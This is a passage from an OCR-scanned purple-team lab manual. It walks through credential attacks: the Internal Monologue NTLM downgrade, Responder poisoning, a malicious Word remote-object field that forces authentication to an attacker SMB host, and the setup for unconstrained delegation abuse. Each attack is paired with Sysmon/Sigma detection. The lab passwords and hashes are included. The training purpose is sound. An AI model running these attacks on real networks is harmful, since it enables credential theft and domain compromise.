courseware correctly, this value is also used by Procbump and the TaskManager when LSASS is

dumped!

t winlog.event_data.CallTrace

>

C:\Windows\SYSTEM32\ntd1l.d11+9fc24|C:\Windows\SYSTEM32\ntd11.d11+7a747|C: \Windows\System32\KER
NEL32.DLL+1c5b4|C:\Windows\System32\KERNEL32 .DLL+237f8|C:\Windows\system32\dbgcore.DLL+9247|C:\
Windows\system32\dbgcore.DLL+15dc5|C:\Windows\system32\dbgcore.DLL+fec6|C:\Windows\system32\dbg
core.DLL+5f56|C:\Windows\system32\dbgcore.DLL+69f7|C:\Users\student_ladm\Downloads\Outflank-Dum
pert-DLL.d11+1841|C:\Windows\system32\rund1132.exe+3bcf |C:\Windows\system32\rund1132.exe+6299|
C:\Windows\System32\KERNEL32.DLL+17974|C:\Windows\SYSTEM32\ntd11.d11+6a271

t winlog.event_data.GrantedAccess ex1fffff

t winlog.event_data.TargetImage C:\Windows\system32\1lsass.exe

t winlog.event_data.TargetProcessGUID {983beff7-8bf5-5e90-0000-001001730000}

t winlog.event_data.TargetProcessId 596

t winlog.event_id
t winlog.opcode
# winlog.process.pid

# winlog.process.thread.id

10
Info
2,296

3,492

Let's remove our rundll32.exe filter and add a filter look for the specific access mask:
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event.code:10 and winlog.event_data.TargetImage:*lsass.exe and
winlog.event_data.GrantedAccess:"oOx1fffff"

N

. Discover ® c

New Save Open Share Inspect

[) v event.code:10 and winlog.event_data.Targetimage:*Isass.exe and winlog.event_data.GrantedAcce =~ KQL “  This week Show dates C Refresh
® -+ Add filter
[
- winlogbeat-* 12 hits
=y
=2 Q Apr 12, 2020 @ 00:00:00.000 - Apr 18, 2020 @ 23:59:59.999 —  Auto v
B
@ Filter by type 0
108
Selected fields g
‘ 3
_source
5 Avallable fields
R Popular 2020-04-12 00:00 2020-04-13 00:00 2020-04-14 00:00 2020-04-15 00:00 2020-04-16 00:00 2020-04-17 00:00 2020-04-18 00:00
t process.executable @timestamp per 3 hours
t process.name Time « _source
g t process.parent.execut... > Apr 12, 2028 @ 13:18:16.353  winlog.event_data.TargetImage: C:\Windows\system32\lsass.exe winlog.event_data.GrantedAccess: @x1fffff event.code: 10
0;\' t process.parentname @timestamp: Apr 12, 2020 @ 13:10:16.353 ecs.version: 1.4.8 winlog.api: wineventlog winlog.opcode: Info
winlog.provider_name: Microsoft-Windows-Sysmon winlog.record_id: 118313 winlog.provider_guid: {5778385f-c22a-43e8-
7] t winlog.event id bfac-06f5698ffbd9} winlog.event_data.TargetProcessGUID: {983beff7-8bf5-5e90-0008-0010017a0000}
B @timestamp winlog.event_data.TargetProcessId: 596 winlog.event_data.CallTrace: C:\Windows\SYSTEM32\ntdll.d11+9fc24|C:\Windows
@ @
t _id > Apr 12, 2020 @ 13:10:16.337  ywinlog.event_data.TargetImage: C:\Windows\system32\lsass.exe winlog.event_data.GrantedAccess: @x1fffff event.code: 18
& N @timestamp: Apr 12, 2020 @ 13:10:16.337 ecs.version: 1.4.8 agent.version: 7.6.1 agent.type: winlogbeat
- agent.ephemeral_id: 89317d@c-2057-4af8-a3d5-b64dd3df@638 agent.hostname: win1@ agent.id: 9692b7d@-cb68-4d8s-
# _scor a829-00181d27d421 message: Process accessed: RuleName: UtcTime: 2020-84-12 18:18:16.337 SourceProcessGUID:
t _type {983beff7-5988-5¢93-0000-00108Fba7384} SourceProcessId: 6988 SourceThreadId: 3612 SourceImage: C:\Windows\system32

Excellent! You should see a similar number of hits, meaning that we successfully wrote a rule
that can detect LSASS dumping techniques!

Note that detection of LSASS interaction will always require some further fine-tuning and
whitelisting of known goods. When properly configured though, this can be an extremely
powerful detection mechanism!

Bonus: Other tools and variations

If you have time left, attempt LSASS credential dumping using other techniques (e.g.,
ProcDump, Task Manager, Mimikatz,...). Can you also detect these variations?

Conclusions

During this lab, we demonstrated the following highly useful skills:

e How LSASS can be dumped leveraging direct syscalls (using Dumpert)
e How this behavior can still be detected by leveraging Sysmon's event ID 10
(ProcessAccess).

As we also highlighted in the detection part of the lab: Successful detection of LSASS dumping
will require some fine-tuning of your rules, as there are plenty of benign tools that also interact
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with LSASS!

After the lab, please stop your target environment. In order to do so, please use the following

command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

Exercise 3: Internal Monologue

As both security analysts and security products have understood the importance of proper

LSASS monitoring (and the existence of effective controls such as CredentialGuard), adversaries
have started looking for ways to dump credentails without touching LSASS. One such example

is the Internal Monologue attack, which was crafted by Elad Shamir and leverages NTLMv1
downgrade attacks!

Internal Monologue Attack

In secure environments, where Mimikatz should not be executed, an adversary can
perform an Internal Monologue Attack, in which they invoke a local procedure call to the
NTLM authentication package (MSV1_0) from a user-mode application through SSPI to
calculate a NetNTLM response in the context of the logged-on user, after performing an
extended NetNTLM downgrade.

The Internal Monologue Attack flow is described below:

Disable NetNTLMv1 preventive controls by changing LMCompatibilityLevel,
NTLMMinClientSec and RestrictSendingNTLMTraffic to appropriate values, as
described above.

Retrieve all non-network logon tokens from currently running processes and
impersonate the associated users.

For each impersonated user, interact with NTLM SSP locally to elicit a NetNTLMv1

response to the chosen challenge in the security context of the impersonated user.

Restore the original values of LMCompatibilityLevel, NTLMMinClientSec and
RestrictSendingNTLMTraffic.

Crack the NTLM hash of the captured responses using rainbow tables.

Pass the Hash.

Source: github.com/eladshamir/Internal-Monologue

We will execute the Internal Monologue attack and zoom in on opportunities for detection!
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Lab Setup and Preparation

Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -r [region] -t [version_tag]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Running the Internal Monologue Attack

Step 1: Finding the Internal-Monologue tool

The Internal Monologue toolkit has already been included on our CommandoVM. The nice
thing about a lot of the tools on CommandoVM is that they typically also include full source
code and Visual Studio solution files, so you can easily adapt.

On the Desktop of your CommandoVM machine, you can open the Tools shortcut. Please
continue to open the Password Attacks folder, where you should find a shortcut to Internal-
Monologue:

. V] . 5 | C\ProgramData\Microsoft\Windows\Start Menu\Programs\Tool List\Password Attacks

File Home Share View
€« - v l Local Disk (C:) ProgramData Microsoft Windows Start Menu Programs Tool List Password Attacks

. OWASP Name Date modified Type Size

. Process Hacker 2
B Python 27
B Python 37
B Python 33
B RealVNC
. Startup
B Tool List
. Active Directory Toc
l Command & Contn
l Debuggers
l Developer Tools
l Docker
B dotNET
l Evasion
l Exploitation
l Information Gatheri

B i

¥ ASREPRoast

£ CredNinja

& CredNinja_ps

me CredNinja_py

g~ DomainPasswordSpray
¥ DSinternals

B Get-LAPSPasswords
B hashcat

g Internal-Monologue
= Inveigh

B Invoke-TheHash
l KeeFarce

A KeeThief

& LAPSToolkit

&= MailSniper

@ mimikatz.exe

= mimikittenz

& RiskySPN

= SessionGopher

Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut
Shortcut

When you double-click the Internal-Monologue shortcut, the Internal-Monologue help will be
displayed in command prompt located in C:\Tools\Internal-Monologue .
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E¥ Internal-Monologue — (] X

Step 2: Recompiling the Internal-Monologue tool

Unfortunately, the compiled version of the Internal-Monologue tool on CommandoVM uses an
older version of the .NET framework, which will not execute on our target machine. We'll thus
need to recompile it.

Please open Visual Studio 2019 from the Desktop shortcut. The Desktop shortcut has been
configured to open Visual Studio in an elevated mode. If you launch Visual Studio in any other
form (e.g., through the taskbar, please right-click and select Run as Administrator).

Once Visual Studio is opened, please select Open a project or solution and navigate to
C:\Tools\Internal-Monologue\InternalMonologue.sln.Once it's open, please right-click
InternalMonologueExe inthe Solution Explorer window to the right. In the menu, please
select Properties.

v g~ riopoiuss i
b =B References ksl Build
b c* Classl.cs Rebuild

4[] InternalMonologueExe

¥ Clean
b Properties
Anal I 3
b el Rebiaerices nalyze and Code Cleanup
* Publish...

@9 Aop.confia
1
Scope to This

Solution Explorer ISTRESTIIES
B New Solution Explorer View

Properties
InternalMonologuekxe Project P
o= K

- - B Misc

Project File InternalM T} Set as StartUp Project
Project Folder 3 ols

Build Dependencies >

Add »
# Manage NuGet Packages...

Tool Debug >

Initialize Interactive with Project

Source Control »
Cut Ctrl+X

Mis( % ui r+

Remove Del

Rename
A Add to Source Contro|

Unload Project

Gitems | 1item selected 220KB |

Load Project Dependencies
Open Folder in File Explorer

Properties Alt+Enter
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In the Properties window, please change the "Target framework" from .NET Framework 3.5 toO
.NET Framework 4.5.You will need to confirm by clicking "Yes". Ultimately, the result should
look like this:

n File Edit View Project Build Debug Test Analyze Tools Bdensions Window Help Search (Ctrl+Q)

P00 @2 W U - - Relesse - AnyCPU - b Stat - | 5@

§‘ InternalMonologuekxe & X
m
Application
‘!fl‘ PP enfiguration: |IN/A ’ Platform: |IN/A
S Build
= Build Events Assembly name: Default namespace:
: [rtemaitonoiogud | [itemalMonologue
>
Resources Target framework: Output type:
Services .NET Framework 4.5 v | Console Application v
Settings [V] Auto-generate binding redirects
Reference Paths Startup object:
Signing (Not set) ™ Assembly Information...
Security
Publish Resources
Code Anslysis Specify how application resources will be managed:

(® Icon and manifest

A manifest determines specific settings for an application. To embed a custom manifest, first add it to
your project and then select it from the list below.

Let's now build the solution. Please make sure that Release is selected and click "Build" -
"Build Solution".

w File Edit View Project Build Debug Test Analyze Tools Extensions Window Help Search (Ctrl+Q)

g . - =
= == Build Sel C
;;Eo.alﬁ.gnmlf‘_‘u uild Solution trl+ Shift+B
Rebuild Solution
§ InternalMonologueExe # X Clean Solution _
m 3 2
:’5” Application , Run Code Analysis on Solution Alt+F11
=) Build &y Build InternalMonologuekxe Ctrl+B
nm
o Build Evens Ass| Rebuild InternalMonologueExe
J Clean InternalMonclogueExe

= Debug I
2 = @  Publish InternalMonologueExe

R ar¢

b — Run Code Analysis on InternalMonclogueExe
Services NE ) bl
) J Batch Build...

Setungs ‘ Configuration Manager...

Reference Paths Startup object:

Signing (Not set) ¥ Assembly Information...

Security

Resources
Publish
Specify how application resources will be managed:
Code Analysis

® Icon and manifest

A manifest determines specific settings for an application. To embed a custom manifest, first add it to
your project and then select it from the list below.
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In a few seconds, the solution should be built.

The bottom-pane's "Output” tab should give a similar output as below:

1>————-—- Build started: Project: InternalMonologueExe, Configuration: Release
Any CPU --—----
2>—————— Build started: Project: InternalMonologueDll, Configuration: Release
Any CPU --——--

2>C:\Tools\Internal-
Monologue\InternalMonologue\InternalMonologue.cs(32,39,32,43): warning CS0649:
Field 'InternalMonologue.TOKEN_USER.User' is never assigned to, and will
always have -its default value

2> InternalMonologueDll -> C:\Tools\Internal-
Monologue\InternalMonologueDll\bin\Release\InternalMonologueD1ll.d1l1l
1>C:\Tools\Internal-
Monologue\InternalMonologue\InternalMonologue.cs(32,39,32,43): warning CS0649:
Field 'InternalMonologue.TOKEN_USER.User' +is never assigned to, and will
always have its default value

1> InternalMonologueExe -> C:\Tools\Internal-
Monologue\InternalMonologueExe\bin\Release\InternalMonologue.exe

========== Build: 2 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

The executable is located in C:\Tools\Internal-
Monologue\InternalMonologueExe\bin\Release . Please browse this folder in an explorer
window on your CommandoVM and copy it:
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P R- C:\Tools\Internal-Monologue\InternalMonologuexe\bin\Release

File Home Share View Application Tools Open

X . Open with CFF Explorer
« =5 v 9 . This PC Local Disk (C:) Tools Internal-Monologue

Run as administrator
g Templates Name

B UsOPrivate

Run as different user
I[H InternalMonologue.exe Open with Sublime Text
l USOShared @ InternalMonologue.exe.config Open with Code
B vMware &) InternalMonologue.pdb Shred with BleachBit
B Windows App Certification Troubleshoot compatibility
B WindowsHolographicDevic Pin to Start
B Python27 T-Zip
CRC SHA
B Python27x86
Edit with Notepad++
B Python37

Share
B Python3s
TortoiseSVN

Recovery

System Volume Information i Add to archive...

. Tools Add to "InternalMonologue.rar

C ess and e
l Internal-Monologue ompress and emal

Compress to "InternalMonologue.rar” and email
l InternalMonologue

Pin to taskbar
l InternalMonologueDll

Copy as path
B InternalMonologueExe

- Create Checksum File...
l bin
l Release Restore previous versions

l Properties Send to

B Users Cut
. Windows Copy
B Windows10lInarade

Jitems | 1item selected 20.5KB | Create shortcut

As we did in the previous labs, let's open an RDP connection to the WIN10 machine
(192.168.20.105 ) using the SEC699-20\student account (password Sec699!! ). Please paste
the InternalMonologue.exe in the Downloads folder of the student user:
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Downloads
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Haome Share View
i [Tl Preview pane
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Application Tools
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{ Bownloads
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| Pictures

J’\ Music

B Videos
& Cnelive
[E This PC

¥ Network

1item 1 item selected 21,5 KB

452000 211 PM

[ |7 Group by~
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Sort e i
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Type Sze
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Step 3: Performing an Internal Monologue Attack

- (] P8
[ Itam check boses 5 .—‘|
] File name extensions -
= Hide selected  Optians
[l Hidden items iteme -
Show/hide
) Search Dowhnlazds o

L_— =

Once the payload is dropped, we will need a shell to execute the binary on our target machine.
Using the Windows start-menu's search function, locate and launch the "Command Prompt". As
explained during the course, the InternalMonologue tool forces an NTLMv1 downgrade attack,
which requires modifications in the HKLM registry hive. This requires administrative privileges.
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On the target machine, search for Command Prompt .

- Command Prompt
Lp

T

O Command Prompt

Run the following command to open an elevated Command Prompt and enter the requested
credentials.

runas /user:sec699-20\student_ladm "powershell.exe"
Within the administrative command prompt, let's execute the InternalMonologue binary:

C:\Users\student\Downloads\InternalMonologue.exe

E¥ Administrator. Command Prompt

The command should provide the following output:
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student_ladm: :sec699-
20:7db528b90bc55fc579201030d543a563b8b70fa70e62e6f7:7db528b90bc55fc579201030d54

student: :sec699-
20:7db528b90bc55fc579201030d543a563b8b70fa70e62e6f7:7db528b90bc55fc579201030d54

Let's disect the output of the student_ladm entry:

e student_ladm is of course the user

® sec699- 20 isthe domain

e 7db528b90bc55fc579201030d543a563b8b70fa70e62e6f7 is the NTLMv1 response

e 7db528b90bc55fc579201030d543a563b8b70fa70e62e6f7 iS the NTLMv1 response again

e 1122334455667788 isthe NTLMv1 challenge (which is set to this value by
InternalMonologue). NTLMv1 rainbow tables available online also typically use this
challenge!

The next step would be to launch a password attack against this challenge-response online. For
our purposes, however, this is sufficient and we will now look at detection opportunities!

Objective 2: Detecting the Internal Monologue Attack

In order to execute this part of the lab, please exit all RDP sessions you may still have open and
fall back to your CommandoVM machine.

As indicated during the lecture, the Internal Monologue attack adapts specific registry settings

to enable an NTLMv1 downgrade attack. This opens up excellent opportunities for detection!

Step 1: Required Log Sources

Sysmon

Event ID 13: RegistryEvent (Value Set)

This Registry event type identifies Registry value modifications. The event records the
value written for Registry values of type DWORD and QWORD.

Source: docs.microsoft.com
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Step 2: Detection Logic

As discussed, there are three main registry keys that are adapted by the Internal Monologue
attack:

e HKLM\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel
e HKLM\System\CurrentControlSet\Control\Lsa\MSV1_0\NtImMinClientSec
e HKLM\System\CurrentControlSet\Control\Lsa\MSV1_0\RestrictSendingNTLMTraffic

This provides an "easy" detection method, as these keys should typically not be adapted,
unless a (insecure) configuration change occurs. The community Sigma rule implements this
logic:
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action: global

title: NetNTLM Downgrade Attack

id: d67572a0-e2ec-45d6-b8db-c100d14b8ef2

description: Detects post exploitation using NetNTLM downgrade attacks
references:

- https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks

author: Florian Roth
date: 2018/03/20
tags:
- attack.credential_access
- attack.t1212
detection:
condition: 1 of them
falsepositives:
- Unknown
level: critical
logsource:
product: windows
service: sysmon

detection:
selectionl:
EventID: 13
TargetObject:

- '"xSYSTEM\\*ControlSet*x\Control\Lsa\lmcompatibilitylevel'
- '"%*SYSTEM\\*ControlSet*\Control\Lsa*x\NtlmMinClientSec'
- '"*SYSTEM\\*ControlSetx\Control\Lsa*\RestrictSendingNTLMTraffic'
# Windows Security Eventlog: Process Creation with Full Command Line
logsource:
product: windows
service: security
definition: 'Requirements: Audit Policy : Object Access > Audit Registry
(Success)'
detection:
selection2:
EventID: 4657
ObjectName: '\REGISTRY\MACHINE\SYSTEM\\*ControlSetx\Control\Lsax*'
ObjectValueName:
- 'LmCompatibilityLevel!
- 'NtlmMinClientSec'
- 'RestrictSendingNTLMTraff-ic'

Step 3: Performing the search

From our ELK stack's Kibana (http://192.168.20.106:5601 ), let's try to identify the Internal
Monologue attack. To do so, please go to the "Discover" view (compass icon) and search for a

registry value set event (event ID 13 ) and look for the above registry keys:

320 © 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

event.code: 13 and winlog.event_data.TargetObject
(*System\\*ControlSet\\Control\\Lsa\\LMCompatibilityLevel or
*System\\*xControlSet\\Control\\Lsax\\NtlmMinClientSec or
*System\\*xControlSet\\Control\\Lsa*x\\RestrictSendingNTLMTraffic)

8 hits
Mar 31, 2020 @ 17:32:16.001 --Apr 7, 2020 @ 17:32:16.001 —  Auto ~

021200 2)20-09+03 00:00 120-04-04 0B 202004
@timestamp per 3 hours

Time - event.code winfog.event_data TargetObject

> Apr €, 2020 ¢ 89:17:48.887 13 HKLN\SY: ro! \Lsa\NSW1_BINE
) Apr 6, 2028 @ @9:17:48.778 13 HKLM\Systen\Cur rentControlSet\Control\Lsa\LNConpatibilityl evel

> 4pr 6, 2020 ¢ B9:17:48.778 13 HKLM\Systen)\Cur rentContralSet\Control\Lsa\Wsy1_B\NtlmeinciisntSee

) Apr 6, 2020 ¢ 89:17:48.778 13 HKLMLSY, ro \Lsa\MSW1_0\ NTraffic
) Apr 6, 2028 @ 99:16:10.762 13 HKLM\System\Cur rentControlSet Cantrol|Lsa\NsV1 _\NtimMIncIientsee

) Apr 6, 2020 © 69:16:16.575 13 HKLM\Systam\CurrentCentralSet\Cantrol \Lsa\NSV1_B\RestrictSendingNTLNTraffic
) Apr 6, 2020 ¢ 89:16:10.550 13 HKLM\System\CurrentControlSet\Cantrol\Lsa\LNCompatibilityl evel

) Apr 6, 2028 @ @9:16:10.559 13 HKLM\Systen\Cur rentControlSet\Control\LsaiNsy1_8\Ntim#inCIisntSee

Bonus: Other credential dumping techniques

If you have time left, feel free to try some of the other credential dumping techniques
described in the course lecture (Extracting from NTDS.dit or DCSync).

Conclusions

During this lab, we demonstrated the following highly useful skills:

e How the Internal Monologue attack can be executed to avoid touching LSASS to dump
credentials
e How this behavior can be detected by leveraging Sysmon's event ID 13 (RegistryValueSet)

As observed in the detection part of the lab, the detection logic is rather solid and allows for
precise detection of the registry manipulation done by Internal Monologue!

After the lab, please stop your target environment. In order to do so, please use the following
command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

Exercise 4: Credential Interception

As a first lab of the day, we will leverage the well-known Responder tool for NTLMv2

Challenge/Response interception.
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Responder

Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to specific NBT-NS
(NetBIOS Name Service) queries based on their name suffix (see:
http://support.microsoft.com/kb/163409). By default, the tool will only answer to File
Server Service request, which is for SMB.

The concept behind this is to target our answers, and be stealthier on the network. This
also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r
option via command line if you want to answer to the Workstation Service request name
suffix.

Source: github.com/Igandx/Responder

The objectives have been fully documented step-by-step (including all expected commands and
outputs).

Lab Setup and Preparation

As this is the first lab of the day, please open your local student VM and run the following
commands to spin up your environment:

cd /home/student/Desktop/SEC699-LAB
./manage.sh deploy -t [version_tag] -r [region]

Next, please open an RDP session to your CommandoVM.

Objective 1: Intercepting Hashes

Running Responder is not complicated, although it doesn't run on Windows. During this
objective, you will hence install and start responder on your C2 stack.

Step 1: Connecting to the C2 Stack

We will deploy Responder on our C2 stack, so we must first off all connect to it. To do so, using
any prompt, run a Secure Shell using ssh, logging in as the ansible user (password sec699).

ssh ansible@192.168.20.107
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ansible@192.168.20.107's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-45-generic x86_64)

* Documentation: https://help.ubuntu.com
Management: https://landscape.canonical.com
Support: https://ubuntu.com/advantage

*

* Canonical Livepatch 1is available for -dinstallation.
- Reduce system reboots and -improve kernel security. Activate at:
https://ubuntu.com/livepatch
Last login: Fri Mar 13 11:16:58 2020 from 192.168.0.24

Step 2: Downloading Responder

Once connected to our C2 stack, we can move on to install responder. To do so, proceed to
clone the Git repository using git.

git clone https://github.com/1lgandx/Responder

Cloning 1into 'Responder'...

remote: Enumerating objects: 63, done.

remote: Counting objects: 100% (63/63), done.

remote: Compressing objects: 100% (58/58), done.

remote: Total 1533 (delta 14), reused 21 (delta 5), pack-reused 1470
Receiving objects: 100% (1533/1533), 1.69 MiB | 3.66 MiB/s, done.
Resolving deltas: 100% (964/964), done.

Step 3: Identifying our Settings

To ensure Responder does not conflict with other tools such as Ubuntu's built-in DNS server,
we must make sure to properly configure its network configuration. Responder allows us to
specify which network interface and address to use, which we will define during this step.

As we already know which IP address Responder has to bind to, which is our C2 stack's
192.168.20.107 IP, we only have to identify the interface associated to this IP.

Using the ip command in combination with grep, we can filter out all interfaces that are not
of interest.

ip a | grep -B 2 192.168.20.107
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2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group

default gqlen 1000
link/ether aa:bb:dd:aa:40:07 brd ff:ff:ff:ff:ff:ff

inet 192.168.20.107/16 brd 192.168.255.255 scope global dynamic ens192

In the above output, the interface name is ens192 and can be found just after its index
number 2.

Step 4: Starting Responder

We now have all the needed information to spin up Responder. To do so, run the
Responder.py file from within the downloaded repository with elevated privileges.

sudo python3 ./Responder/Responder.py -I ensl192 -i 192.168.20.107 -rPvF

If everything went well, Responder should be running. Do note that the HTTP (80 ) and
HTTPS (443 ) failures are to be expected as these ports are used by Covenant. For

readability,
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[...]
[+] Poisoners:

LLMNR [ON]

NBT-NS [ON]

DNS/MDNS [ON]
[...]
[+] Generic Options:

Responder NIC [ens192]

Responder IP [192.168.20.107]

Challenge set [random]

Don't Respond To Names ['ISATAP']
[!] Error starting TCP server on port 80, check permissions or other servers
running.
[!] Error starting SSL server on port 443, check permissions or other servers
running.
[+] Listening for events...
[*] [MDNS] Poisoned answer sent to 192.168.20.101 for name dc.local
[*] [LLMNR] Poisoned answer sent to 192.168.20.101 for name dc
[*] [LLMNR] Poisoned answer sent to 192.168.20.103 for name dc-20
[*] [MDNS] Poisoned answer sent to 192.168.20.103 for name dc-20.local
[*] [MDNS] Poisoned answer sent to 192.168.20.103 for name dc-20.local
[*] [LLMNR] Poisoned answer sent to 192.168.20.103 for name dc-20
[*] [MDNS] Poisoned answer sent to 192.168.10.2 for name winl9.local
[*] [LLMNR] Poisoned answer sent to 192.168.10.2 for name winl9
[*] [MDNS] Poisoned answer sent to 192.168.20.102 for name winl9.local
[*] [LLMNR] Poisoned answer sent to 192.168.20.102 for name winl9
[*] [MDNS] Poisoned answer sent to 192.168.20.105 for name winl0.local
[*] [LLMNR] Poisoned answer sent to 192.168.20.105 for name winl@
[*] [MDNS] Poisoned answer sent to 192.168.10.4 for name sql.local
[*] [LLMNR] Poisoned answer sent to 192.168.10.4 for name sql
[*] [LLMNR] Poisoned answer sent to 192.168.10.1 for name dc
[*] [MDNS] Poisoned answer sent to 192.168.10.1 for name dc.local
[*] [MDNS] Poisoned answer sent to 192.168.10.1 for name dc.local
[*] [LLMNR] Poisoned answer sent to 192.168.10.1 for name dc
[*] [MDNS] Poisoned answer sent to 192.168.10.3 for name dc-10.local
[*] [LLMNR] Poisoned answer sent to 192.168.10.3 for name dc-10
[*] [MDNS] Poisoned answer sent to 192.168.10.3 for name dc-10.local
[*] [LLMNR] Poisoned answer sent to 192.168.10.3 for name dc-10
[*] [NBT-NS] Poisoned answer sent to 192.168.0.18 for name WORKGROUP (service:

Domain Controller)

[*]

[NBT-NS] Poisoned answer sent to 192.168.0.18 for name WORKGROUP (service:

Domain Master Browser)
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With Responder ready, let's collect some hashes...

Objective 2: Remote Word Objects

While Responder is typically used to poison broadcast protocols such as LLMNR, we will now
demonstrate a more interesting way of obtaining NTLMv2 challenge-responses.

Using Remote Objects in Word, we can trick a Windows machine to retrieve an image from a
remote server. This would include an authentication attempt, as the Windows machine would
automatically use Single Sign On (SSO) to try to connect to the network share to retrieve the
image.

Step 1: Create a new Word Document

We will use the Win10 machine (192.168.20.105) to create a Word document that loads a
remote object. Please open a Remote Desktop connection to 192.168.20.105 with username
SEC699-20.LAB\student_ladm and password Sec699!! ).

From this machine, use Windows' search function to locate the "Word" executable.
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£ word|

Once launched, you might be greeted by a sign-in prompt which you can gently disregard using
the top-right closing button.
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You can then select a new "Blank document"” from the "New" section, which is where our simple
trick will take place.

Step 2: Creating a Remote Object
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By pressing ctrl+F9 Word will create a new empty object, which you can observe in the
below screenshot (i.e. { }).

Within the curly-brackets ( { }) proceed to import a network path using the below syntax.
IMPORT "\\\\192.168.20.107\\1.jpg"

Note that the above syntax escapes back-slashes by doubling them.

Once done, a final setting has to be defined to ensure our victims connect to our malicious
SMB server. By right-clicking the remote object and selecting "Edit Field...", open the "Field"
window. From the right-pane's "Field options" section, make sure to check the "Data not stored
with document” check-box.

Once done, close the window by pressing the "OK" button.
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EAiData not stared with document!

Step 3: Saving and Spreading

With our malicious Word document ready, proceed to save it using the ctrl+ s key-
combination. Make sure to select "Save As" in the blue left-pane after which you can save it on
"This PC", using any name you wish.

You can now proceed to open the Word document, optionally from another Word-equipped
machine and/or user.

Step 4: Checking Results

If you switch back to the Responder session, you will notice a multitude of collected hashes.
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Do note that the below output is trimmed as Windows will insist on connecting to the server, so
we'll capture the NTLMv2 Challenge-Response multiple times.
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NBT-NS, LLMN

R & MDNS Responder 3.0.0.0

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

/!\ Warning: files/AccessDenied.html: file not found
/'\ Warning: files/BindShell.exe: file not found
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [ON]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [ON]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [ens192]
Responder IP [192.168.20.107]
Challenge set [random]
Don't Respond To Names ["ISATAP']
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[!] Error starting TCP server on port 80, check permissions or other servers

running.

[!] Error starting SSL server on port 443, check permissions or other servers
running.

[+] Listening for events...

[SMB] NTLMv2-SSP Client ¢ 192.168.20.105

[SMB] NTLMv2-SSP Username : sec699-40\student_T1ladm

[SMB] NTLMv2-SSP Hash ¢ student_ladm: :sec699-

40:9865961408a2cff0:66140EB41145D1D72F619199864D5819:0101000000000000C0653150DE

[+] Exiting...

Conclusions

Finishing this lab has given you insight in how NTLMv2 challenge-response stealing typically
happens. You've performed the following steps:

e Running Responder to capture NTLMv2 challenge-responses
e Leveraging Microsoft Word remote objects to force systems to authenticate to (untrusted)
network shares

After the lab, please stop your target environment. In order to do so, please use the following
command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

Exercise 5: Abusing Unconstrained Delegation

Delegation attacks have long been "under the radar”, but they are increasingly being exploited
by adversaries. In order to properly understand how these attacks work though, we need a
thorough understanding of Kerberos. Your Instructor should have done an amazing job
explaining Kerberos, so this lab should be a breeze!

Unconstrained Delegation

Delegation is a Kerberos feature that allows services to execute actions on behalf of
authenticated users (impersonation). A common example to explain the need for
delegation is front-end servers (e.g. web servers) that need to interact with back-end

servers (e.g. database servers) on a client's behalf.
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Unconstrained delegation was introduced in Windows 2000, but is still around for
compatibility reasons. Unconstrained delegation is the most insecure delegation type and
can have a huge security impact.

We will execute an unconstrained delegation attack. We will not immediately review detection

strategies, as we will do this in the next lab linked to Constrained Delegation attacks! We will
also write our conclusion after the constrained delegation lab!

Lab Setup and Preparation
Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -r [region] -t [version_tag]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Abusing Unconstrained Delegation

The first part of this lab will focus on obtaining administrative access to the sec699-20.1ab
domain. The scenario starts with an unprivileged domain user ( student ) and will finish with
full, administrative, domain access (Domain Administrator).

In order to achieve this, we will perform the following steps:

e Enumerate domain information and identify systems with unconstrained delegation
e Obtain local admin access to a system configured with unconstrained delegation

e Force a domain controller to connect to the compromised system

e Steal domain controller computer account TGT

e Obtain domain administrator access

Step 1: Compiling the required tools

For this lab, we'll leverage two specific tools, of which the source code has been included on
CommandoVM:

e Rubeus (C:\Tools\GhostPack\Rubeus)
e SpoolSample (c:\Tools\SpoolSample)

Let's compile the tools:

Rubeus
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Please open Visual Studio 2019 from the Desktop shortcut. The Desktop shortcut has been
configured to open Visual Studio in an elevated mode. If you launch Visual Studio in any other
form (e.g., through the taskbar, please right-click and select Run as Administrator).

Once Visual Studio is opened, please select Open a project or solution and open
C:\Tools\GhostPack\Rubeus\Rubeus.sln. It's always a good idea to try rebuilding tools
available in CommandoVM, as the Chocolatey packages installed are based on source code
(and not compiled binaries).

Once the solution is loaded, please right-click Rubeus in the Explorer pane on the right and
select Properties:

Solution Explorer vRX
coRE-o-S50FE| F -
Search Solution Explarer (Ctrl+;) P~

(o] Solution 'Rubeus’ {1 of 1 project)
4 [c#] Rubeus

b ¥y Build

b Rebuild

: Clean

b Analyze and Code Cleanup »
b & Publish...

b Scope to This

ki)

New Solution Explorer View

Add >
i Manage NuGet Packages...

£ Setas StartUp Project
Debug 3
